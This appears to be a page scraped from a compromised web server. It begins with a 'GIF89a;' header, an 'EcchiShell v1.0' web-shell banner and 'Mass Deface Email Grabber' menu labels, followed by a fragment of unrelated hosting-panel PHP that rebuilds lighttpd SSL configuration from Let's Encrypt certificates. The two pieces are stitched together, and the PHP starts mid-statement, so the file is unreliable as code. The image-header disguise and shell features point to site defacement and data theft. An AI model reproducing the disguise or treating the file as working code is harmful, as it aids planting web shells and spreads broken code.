GIF89a; EcchiShell v1.0
//scripts/

Mass Deface Email Grabber

"SET NAMES 'utf8'")); $zdbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { exit(); } global $zdbh; SecurePanelForAllMainDomains(); function SecurePanelForAllMainDomains(){ $https_disable =trim(shell_exec("grep https_enable /etc/sentora/panel/.secure_panel.txt | awk '{print $3}'")); if($https_disable == 1) { global $zdbh; $ssl_log_file = '/tmp/ssl_log_file'; shell_exec("/usr/local/letsencrypt/./certbot-auto certificates > $ssl_log_file"); $certificate_list = (shell_exec("grep 'Certificate Name' $ssl_log_file | awk '{print $3}'")); $domains = shell_exec("grep 'Domains:' $ssl_log_file | awk '{ print $2 }'"); $certificate_list = array_filter(explode("\n", $certificate_list)); $ssl_domains = array_filter(explode("\n", $domains)); $ssl_result = array(); for($i = 0; $i < count($ssl_domains); $i++){ $ssl_result[$ssl_domains[$i]] = $certificate_list[$i]; } $include_all_domains_conf = "/etc/lighttpd/include-all-domains-socket.conf"; $line = '' . fs_filehandler::NewLine(); $sql_main_dom = 'SELECT vh_name_vc FROM x_vhosts WHERE vh_id_pk IN (SELECT x_domain_id FROM x_main_domain) AND vh_deleted_ts IS NULL'; $main_dom_rows = $zdbh->prepare($sql_main_dom); $main_dom_rows->execute(); if($main_dom_rows->rowCount() != 0){ $XvhostData = $main_dom_rows->fetchAll(PDO::FETCH_ASSOC); foreach($XvhostData as $dom){ $ssl_certificate = false; $domain = $dom['vh_name_vc']; if(!isset($ssl_result[$domain])){ continue; } $ssl_certificate = $ssl_result[$domain]; $file_path = "/etc/letsencrypt/live/$ssl_certificate"; echo "file_path $file_path \n"; if(is_dir($file_path)){ if(file_exists("$file_path/cert.pem") && file_exists("$file_path/privkey.pem")){ if(!file_exists("/etc/letsencrypt/live/$ssl_certificate/web.pem")){ shell_exec("cat /etc/letsencrypt/live/$ssl_certificate/cert.pem /etc/letsencrypt/live/$ssl_certificate/privkey.pem > /etc/letsencrypt/live/$ssl_certificate/web.pem"); } $line .= '$HTTP["host"] == "'.$domain.'" {' . fs_filehandler::NewLine(); $line .= ' ssl.pemfile = "/etc/letsencrypt/live/'.$ssl_certificate.'/web.pem"' . fs_filehandler::NewLine(); $line .= ' ssl.ca-file = "/etc/letsencrypt/live/'.$ssl_certificate.'/chain.pem"' . fs_filehandler::NewLine(); $line .= '}' . fs_filehandler::NewLine(); } } } } file_put_contents($include_all_domains_conf, $line); $time_stamp_file="/etc/lighttpd/time_stamp"; $restart_flag=false; $time_stamp=strtotime("now"); if(!file_exists($time_stamp_file)) $restart_flag=true; else { $already_done_timestamp=trim(file_get_contents($time_stamp_file)); $seconds_diff = $time_stamp - $already_done_timestamp; $time = ($seconds_diff/3600); if($time > 48 ) $restart_flag=true; } if($restart_flag) { shell_exec('/usr/sbin/service lighttpd force-reload'); $update_value=file_put_contents($time_stamp_file, $time_stamp); } } } ?>